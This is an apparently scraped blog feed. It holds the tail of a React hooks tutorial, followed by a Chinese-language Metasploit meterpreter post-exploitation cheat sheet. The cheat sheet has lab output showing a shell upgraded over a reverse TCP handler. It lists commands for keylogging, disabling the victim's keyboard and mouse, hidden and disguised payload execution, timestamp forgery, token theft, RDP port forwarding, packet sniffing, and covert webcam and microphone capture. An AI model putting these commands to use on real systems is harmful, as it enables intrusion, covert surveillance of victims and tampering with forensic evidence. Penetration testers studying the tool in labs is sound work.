class="line"></span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div></span><br><span class="line"> <Count text='age' count={age} /></span><br><span class="line"> <Button onClick={incrementAge}>incrementAge</Button></span><br><span class="line"> <Count text='salary' count={salary} /></span><br><span class="line"> <Button onClick={incrementSalary}>incrementSalary</Button></span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h1 id="useMemo"><a href="#useMemo" class="headerlink" title="useMemo"></a><code>useMemo</code></h1><p><code>useMemo</code> is a hook that will only recompute the cached value when one of the dependencies has changed, this optimisation heads to avoid expensive calcuations on every render.</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">UseMemoTest</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">const</span> [one, setOne] = useState(<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">const</span> [two, setTwo] = useState(<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">const</span> incrementOne = () => {</span><br><span class="line"> setOne(one + <span class="number">1</span>)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">const</span> incrementTwo = () => {</span><br><span class="line"> setTwo(two + <span class="number">1</span>)</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// only execute when one changed</span></span><br><span class="line"> <span class="keyword">const</span> isEven = useMemo(() => {</span><br><span class="line"> <span class="keyword">let</span> i = <span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span>(i < <span class="number">20000000</span>) i++</span><br><span class="line"> <span class="keyword">return</span> one % === <span class="number">0</span></span><br><span class="line"> }, [one])</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div></span><br><span class="line"> <button onClick={incrementOne}>count one {one}</button></span><br><span class="line"> <span>{isEven ? 'even': 'odd'}</span></span><br><span class="line"> <button onClick={incrementTwo}>count two {two}</button></span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h1 id="useRef"><a href="#useRef" class="headerlink" title="useRef"></a><code>useRef</code></h1><p><code>useRef</code> is used to access <code>dom node</code>.</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">FocusInput</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> inputRef = useRef(<span class="literal">null</span>)</span><br><span class="line"> useEffect(() => {</span><br><span class="line"> <span class="comment">// focus input</span></span><br><span class="line"> inputRef.current.focus()</span><br><span class="line"> }, [])</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div></span><br><span class="line"> <input ref={inputRef} type='text' /></span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><code>useRef</code> can be used to store data, and not cause re-render when data change, because only current change, the object that <code>useRef</code> return is persistent.</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">HookTimer</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [timer, setTImer] = useState(<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">const</span> intervalRef = useRef()</span><br><span class="line"></span><br><span class="line"> useEffect(() => {</span><br><span class="line"> intervalRef.current = setInterval(() => {</span><br><span class="line"> setTimer(prevTimer => prevTimer + <span class="number">1</span>)</span><br><span class="line"> }, <span class="number">1000</span>)</span><br><span class="line"> <span class="keyword">return</span> () => {</span><br><span class="line"> clearInterval(intervalRef.current)</span><br><span class="line"> }</span><br><span class="line"> }, [])</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div></span><br><span class="line"> timer - {timer}</span><br><span class="line"> <button onClick={() => clearInterval(intervalRef.current)}></span><br><span class="line"> clear interval</span><br><span class="line"> </button></span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="React-forwardRef"><a href="#React-forwardRef" class="headerlink" title="React.forwardRef"></a><code>React.forwardRef</code></h2><p>It can be useful for some kinds of components, especially in reusable component libraries.</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> Button = React.forwardRef((props, ref) => (</span><br><span class="line"> <button ref={ref} className='custom-button'></span><br><span class="line"> {props.children}</span><br><span class="line"> </button></span><br><span class="line">))</span><br><span class="line"></span><br><span class="line"><span class="comment">// usage</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">App</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> ref = React.createRef()</span><br><span class="line"> <span class="keyword">return</span> <Button ref={ref}>click me</Button></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h1 id="useImperativeHandle"><a href="#useImperativeHandle" class="headerlink" title="useImperativeHandle"></a><code>useImperativeHandle</code></h1><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">useImperativeHandle(ref, createHandle, [deps])</span><br></pre></td></tr></table></figure>
<p>should be used with <code>forwardRef</code>.</p>
<p>ref change, handle function run.</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">FancyInput</span>(<span class="params">props, ref</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> inputRef = useRef();</span><br><span class="line"> useImperativeHandle(ref, () => ({</span><br><span class="line"> focus: () => {</span><br><span class="line"> inputRef.current.focus();</span><br><span class="line"> }</span><br><span class="line"> }));</span><br><span class="line"> <span class="keyword">return</span> <input ref={inputRef} ... />;</span><br><span class="line">}</span><br><span class="line">FancyInput = forwardRef(FancyInput);</span><br></pre></td></tr></table></figure>
<h1 id="useLayoutEffect"><a href="#useLayoutEffect" class="headerlink" title="useLayoutEffect"></a><code>useLayoutEffect</code></h1><p>The signature is identical to <code>useEffect</code>, but it fires synchronously after all DOM mutations. Use this to read layout from the DOM and synchronously re-render. Updates scheduled inside <code>useLayoutEffect</code> will be flushed synchronously, before the browser has a chance to paint.</p>
<p>Prefer the standard <code>useEffect</code> when possible to avoid blocking visual updates.</p>
<h1 id="useDebugValue"><a href="#useDebugValue" class="headerlink" title="useDebugValue"></a><code>useDebugValue</code></h1><p><code>useDebugValue</code> can be used to display a label for custom hooks in React DevTools.</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">useFriendStatus</span>(<span class="params">friendID</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [isOnline, setIsOnline] = useState(<span class="literal">null</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// Show a label in DevTools next to this Hook // e.g. "FriendStatus: Online" useDebugValue(isOnline ? 'Online' : 'Offline');</span></span><br><span class="line"> <span class="keyword">return</span> isOnline</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// In some cases formatting a value for display might be an expensive operation. It’s also unnecessary unless a Hook is actually inspected.</span></span><br><span class="line">useDebugValue(date, date => date.toDateString())</span><br></pre></td></tr></table></figure>
<h1 id="Custom-hooks"><a href="#Custom-hooks" class="headerlink" title="Custom hooks"></a><code>Custom hooks</code></h1><p>share <code>useEffect</code></p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// useDocumentTitle.js</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">useDocumentTitle</span>(<span class="params">count</span>) </span>{</span><br><span class="line"> useEffect(() => {</span><br><span class="line"> <span class="built_in">document</span>.title = <span class="string">`Count <span class="subst">${count}</span>`</span></span><br><span class="line"> }, [count])</span><br><span class="line">}</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> useDocumentTitle</span><br><span class="line"></span><br><span class="line"><span class="comment">// app.js</span></span><br><span class="line"><span class="keyword">import</span> useDocumentTitle <span class="keyword">from</span> <span class="string">'./hooks/useDocumentTitle'</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">App</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [count, setCount] = useState(<span class="number">0</span>)</span><br><span class="line"> useDocumentTitle(count)</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <div></span><br><span class="line"> <button onClick={() => setCount(count + 1)}>count - {count}</button></span><br><span class="line"> </div></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>share <code>useState</code> and methods</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">useCounter</span>(<span class="params">initialCount = 0</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [count, setCount] = useState(initialCount)</span><br><span class="line"> <span class="keyword">const</span> increment = () => {</span><br><span class="line"> setCount(prevCount => prevCount + <span class="number">1</span>)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">const</span> decrement = () => {</span><br><span class="line"> setCount(prevCount => prevCount - <span class="number">1</span>)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">const</span> reset = () => {</span><br><span class="line"> setCount(initialCount)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> [count, increment, decrement, reset]</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>share input change logic</p>
<figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// useInput.js</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">useInput</span>(<span class="params">initialValue</span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [value, setValue] = useState(initialValue)</span><br><span class="line"> <span class="keyword">const</span> reset = () => {</span><br><span class="line"> setValue(initialValue)</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">const</span> bind = {</span><br><span class="line"> value: value,</span><br><span class="line"> onChange: e => {</span><br><span class="line"> setValue(e.target.value)</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> [value, bind, reset]</span><br><span class="line">}</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">default</span> useInput</span><br><span class="line"></span><br><span class="line"><span class="comment">// App.js</span></span><br><span class="line"><span class="keyword">import</span> useInput <span class="keyword">from</span> <span class="string">'./hooks/useInput'</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">App</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> [firstName, bindFirstName, resetFirstName] = useInput(<span class="string">''</span>)</span><br><span class="line"> <span class="keyword">return</span> (</span><br><span class="line"> <form></span><br><span class="line"> <input {...bindFirstName} /></span><br><span class="line"> </form></span><br><span class="line"> )</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h1 id="react-redux-hooks"><a href="#react-redux-hooks" class="headerlink" title="react-redux hooks"></a><code>react-redux hooks</code></h1><p>You can use react-redux hooks to replace <code>connect</code> function in FC.</p>
<h2 id="useSelector"><a href="#useSelector" class="headerlink" title="useSelector"></a><code>useSelector</code></h2><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Loading</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">const</span> loading = useSelector((state: AppState) => state.users.loading)</span><br><span class="line"> <span class="keyword">return</span> loading && <CircularProgress /></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="useDispatch"><a href="#useDispatch" class="headerlink" title="useDispatch"></a><code>useDispatch</code></h2><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">Login</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="keyword">const</span> dispatch = useDispatch()</span><br><span class="line"> <span class="keyword">const</span> login = useCallback(data => dispatch(loginAction(data)), [dispatch])</span><br><span class="line"> <span class="keyword">return</span> <div></span><br><span class="line"> <button onClick={() => login({username, password})}></span><br><span class="line"> </div></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="useStore"><a href="#useStore" class="headerlink" title="useStore"></a><code>useStore</code></h2><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> CounterComponent = ({ value }) => {</span><br><span class="line"> <span class="keyword">const</span> store = useStore()</span><br><span class="line"></span><br><span class="line"> <span class="comment">// EXAMPLE ONLY! Do not do this in a real app.</span></span><br><span class="line"> <span class="comment">// The component will not automatically update if the store state changes</span></span><br><span class="line"> <span class="keyword">return</span> <div>{store.getState()}</div></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>Reference:</p>
<p><a href="https://reactjs.org/docs/hooks-reference.html" target="_blank" rel="external">https://reactjs.org/docs/hooks-reference.html</a></p>
<p><a href="https://www.youtube.com/playlist?list=PLC3y8-rFHvwisvxhZ135pogtX7_Oe3Q3A" target="_blank" rel="external">https://www.youtube.com/playlist?list=PLC3y8-rFHvwisvxhZ135pogtX7_Oe3Q3A</a></p>
<p><a href="https://react-redux.js.org/next/api/hooks" target="_blank" rel="external">https://react-redux.js.org/next/api/hooks</a></p>
]]></content>
<summary type="html">
<h1 id="useState"><a href="#useState" class="headerlink" title="useState"></a><code>useState</code></h1><figure class="highlight js"><table>
</summary>
<category term="frontend" scheme="http://myt0.com/categories/frontend/"/>
<category term="javascript" scheme="http://myt0.com/tags/javascript/"/>
<category term="react" scheme="http://myt0.com/tags/react/"/>
</entry>
<entry>
<title>meterpreter</title>
<link href="http://myt0.com/2020/03/06/meterpreter/"/>
<id>http://myt0.com/2020/03/06/meterpreter/</id>
<published>2020-03-06T05:49:03.000Z</published>
<updated>2020-03-06T05:56:26.919Z</updated>
<content type="html"><![CDATA[<h1 id="低级-shell-升级到-meterpreter"><a href="#低级-shell-升级到-meterpreter" class="headerlink" title="低级 shell 升级到 meterpreter"></a>低级 shell 升级到 meterpreter</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">msf5 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter</span><br><span class="line">msf5 post(multi/manage/shell_to_meterpreter) > <span class="built_in">set</span> SESSION 1</span><br><span class="line">SESSION => 1</span><br><span class="line">msf5 post(multi/manage/shell_to_meterpreter) > run</span><br><span class="line"></span><br><span class="line">[!] SESSION may not be compatible with this module.</span><br><span class="line">[*] Upgrading session ID: 1</span><br><span class="line">[*] Starting exploit/multi/handler</span><br><span class="line">[*] Started reverse TCP handler on 192.168.99.103:4433</span><br><span class="line">[*] Sending stage (985320 bytes) to 192.168.99.101</span><br><span class="line">[*] Meterpreter session 2 opened (192.168.99.103:4433 -> 192.168.99.101:59582) at 2020-02-24 17:00:18 +0800</span><br><span class="line">[*] Command stager progress: 100.00% (773/773 bytes)</span><br><span class="line">[*] Post module execution completed</span><br></pre></td></tr></table></figure>
<h1 id="基础命令"><a href="#基础命令" class="headerlink" title="基础命令"></a>基础命令</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">background <span class="comment"># 将当前会话放置后台</span></span><br><span class="line">sessions <span class="comment"># sessions –h 查看帮助</span></span><br><span class="line">sessions -i <ID值> <span class="comment">#进入会话 -k 杀死会话</span></span><br><span class="line">bgrun / run <span class="comment"># 执行已有的模块,输入run后按两下tab,列出已有的脚本</span></span><br><span class="line">info <span class="comment"># 查看已有模块信息</span></span><br><span class="line">getuid <span class="comment"># 查看当前用户身份</span></span><br><span class="line">getprivs <span class="comment"># 查看当前用户具备的权限</span></span><br><span class="line">getpid <span class="comment"># 获取当前进程ID(PID)</span></span><br><span class="line">getenv <span class="variable">$PATH</span> <span class="comment"># 查看环境变量</span></span><br><span class="line">sysinfo <span class="comment"># 查看目标机系统信息</span></span><br><span class="line">irb <span class="comment"># 开启ruby终端</span></span><br><span class="line">ps <span class="comment"># 查看正在运行的进程</span></span><br><span class="line"><span class="built_in">kill</span> <PID值> <span class="comment"># 杀死指定PID进程</span></span><br><span class="line">idletime <span class="comment"># 查看目标机闲置时间</span></span><br><span class="line">reboot / shutdown <span class="comment"># 重启/关机</span></span><br><span class="line">shell <span class="comment"># 进入目标机cmd shell</span></span><br></pre></td></tr></table></figure>
<h2 id="网络信息"><a href="#网络信息" class="headerlink" title="网络信息"></a>网络信息</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ipconfig/ifconfig <span class="comment"># 查看网络接口信息</span></span><br><span class="line">netstat –ano <span class="comment"># 查看网络连接状态</span></span><br><span class="line">arp <span class="comment"># 查看arp缓冲表</span></span><br><span class="line">getproxy <span class="comment"># 查看代理信息</span></span><br><span class="line">route <span class="comment"># 查看路由表信息</span></span><br></pre></td></tr></table></figure>
<h2 id="文件操作"><a href="#文件操作" class="headerlink" title="文件操作"></a>文件操作</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">ls <span class="comment"># 列出当前目录中的文件列表</span></span><br><span class="line"><span class="built_in">cd</span> <span class="comment"># 进入指定目录</span></span><br><span class="line">getwd / <span class="built_in">pwd</span> <span class="comment"># 查看当前工作目录</span></span><br><span class="line">search <span class="_">-d</span> c:\\ <span class="_">-f</span> *.txt <span class="comment"># 搜索文件 -d 目录 -f 文件名</span></span><br><span class="line">cat c:\\123.txt <span class="comment"># 查看文件内容</span></span><br><span class="line">upload /tmp/hack.txt C:\\ <span class="comment"># 上传文件到目标机上</span></span><br><span class="line">download c:\\123.txt /tmp/ <span class="comment"># 下载文件到本机上</span></span><br><span class="line">edit c:\\test.txt <span class="comment"># 编辑或创建文件 没有的话,会新建文件</span></span><br><span class="line">rm C:\\hack.txt <span class="comment"># 删除文件</span></span><br><span class="line">mkdir admin <span class="comment"># 只能在当前目录下创建文件夹</span></span><br><span class="line">rmdir admin <span class="comment"># 只能删除当前目录下文件夹</span></span><br><span class="line">getlwd / lpwd <span class="comment"># 查看本地当前目录</span></span><br><span class="line">lcd /tmp <span class="comment"># 切换本地目录</span></span><br></pre></td></tr></table></figure>
<h2 id="键盘鼠标"><a href="#键盘鼠标" class="headerlink" title="键盘鼠标"></a>键盘鼠标</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">uictl开关键盘/鼠标</span><br><span class="line">uictl [<span class="built_in">enable</span>/<span class="built_in">disable</span>] [keyboard/mouse/all] <span class="comment"># 开启或禁止键盘/鼠标</span></span><br><span class="line">uictl <span class="built_in">disable</span> mouse <span class="comment"># 禁用鼠标</span></span><br><span class="line">uictl <span class="built_in">disable</span> keyboard <span class="comment"># 禁用键盘</span></span><br></pre></td></tr></table></figure>
<h2 id="键盘记录"><a href="#键盘记录" class="headerlink" title="键盘记录"></a>键盘记录</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">keyscan_start <span class="comment"># 开始键盘记录</span></span><br><span class="line">keyscan_dump <span class="comment"># 导出记录数据</span></span><br><span class="line">keyscan_stop <span class="comment"># 结束键盘记录</span></span><br></pre></td></tr></table></figure>
<h2 id="执行文件"><a href="#执行文件" class="headerlink" title="执行文件"></a>执行文件</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">execute <span class="comment">#在目标机中执行文件</span></span><br><span class="line">execute -H -i <span class="_">-f</span> cmd.exe <span class="comment"># 创建新进程cmd.exe,-H不可见,-i交互</span></span><br><span class="line">execute -H -m <span class="_">-d</span> notepad.exe <span class="_">-f</span> payload.exe <span class="_">-a</span> <span class="string">"-o hack.txt"</span></span><br><span class="line"><span class="comment"># -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行</span></span><br><span class="line"><span class="string">"-o hack.txt"</span>是payload.exe的运行参数</span><br><span class="line">execute <span class="_">-f</span> bash -i <span class="comment"># 创建bash shell进行交互</span></span><br></pre></td></tr></table></figure>
<h2 id="timestomp-伪造时间戳"><a href="#timestomp-伪造时间戳" class="headerlink" title="timestomp 伪造时间戳"></a>timestomp 伪造时间戳</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">timestomp C:\\ -h <span class="comment">#查看帮助</span></span><br><span class="line">timestomp -v C:\\2.txt <span class="comment">#查看时间戳</span></span><br><span class="line">timestomp C:\\2.txt <span class="_">-f</span> C:\\1.txt <span class="comment">#将1.txt的时间戳复制给2.txt</span></span><br><span class="line">timestomp c:\\<span class="built_in">test</span>\\22.txt -z <span class="string">"03/10/2019 11:55:55"</span> -v <span class="comment"># 把四个属性设置为统一时间</span></span><br></pre></td></tr></table></figure>
<h2 id="migrate"><a href="#migrate" class="headerlink" title="migrate"></a>migrate</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">migrate进程迁移</span><br><span class="line">getpid <span class="comment"># 获取当前进程的pid</span></span><br><span class="line">ps <span class="comment"># 查看当前活跃进程</span></span><br><span class="line">migrate <pid值> <span class="comment"># windows 将Meterpreter会话移植到指定pid值进程中</span></span><br><span class="line"><span class="built_in">kill</span> <pid值> <span class="comment"># 杀死进程</span></span><br></pre></td></tr></table></figure>
<h2 id="portfwd-端口转发"><a href="#portfwd-端口转发" class="headerlink" title="portfwd 端口转发"></a>portfwd 端口转发</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">portfwd add <span class="_">-l</span> 1111 -p 3389 -r 127.0.0.1 <span class="comment">#将目标机的3389端口转发到本地1111端口</span></span><br><span class="line">rdesktop 127.0.0.1:1111 <span class="comment"># 需要输入用户名密码连接</span></span><br><span class="line">rdesktop -u Administrator -p 123 127.0.0.1:1111 <span class="comment"># -u 用户名 -p 密码</span></span><br></pre></td></tr></table></figure>
<h2 id="sniffer-抓包"><a href="#sniffer-抓包" class="headerlink" title="sniffer 抓包"></a>sniffer 抓包</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">use sniffer</span><br><span class="line">sniffer_interfaces <span class="comment"># 查看网卡</span></span><br><span class="line">sniffer_start 1 <span class="comment"># 选择网卡1开始抓包</span></span><br><span class="line">sniffer_stats 1 <span class="comment"># 查看网卡1状态</span></span><br><span class="line">sniffer_dump 1 /tmp/wlan1.pcap <span class="comment"># 导出pcap数据包</span></span><br><span class="line">sniffer_stop 1 <span class="comment"># 停止网卡1抓包</span></span><br><span class="line">sniffer_release 1 <span class="comment"># 释放网卡1流量</span></span><br></pre></td></tr></table></figure>
<h2 id="令牌窃取"><a href="#令牌窃取" class="headerlink" title="令牌窃取"></a>令牌窃取</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">steal_token <pid值> <span class="comment"># 从指定进程中窃取token</span></span><br><span class="line">drop_token <span class="comment"># 停止假冒当前的token</span></span><br></pre></td></tr></table></figure>
<h2 id="网络摄像头"><a href="#网络摄像头" class="headerlink" title="网络摄像头"></a>网络摄像头</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">record_mic <span class="comment"># 音频录制</span></span><br><span class="line">webcam_chat <span class="comment"># 开启视频聊天(对方有弹窗)</span></span><br><span class="line">webcam_list <span class="comment"># 查看摄像头</span></span><br><span class="line">webcam_snap <span class="comment"># 通过摄像头拍照</span></span><br><span class="line">webcam_stream <span class="comment"># 通过摄像头开启视频监控(以网页形式进行监控≈直播)</span></span><br></pre></td></tr></table></figure>
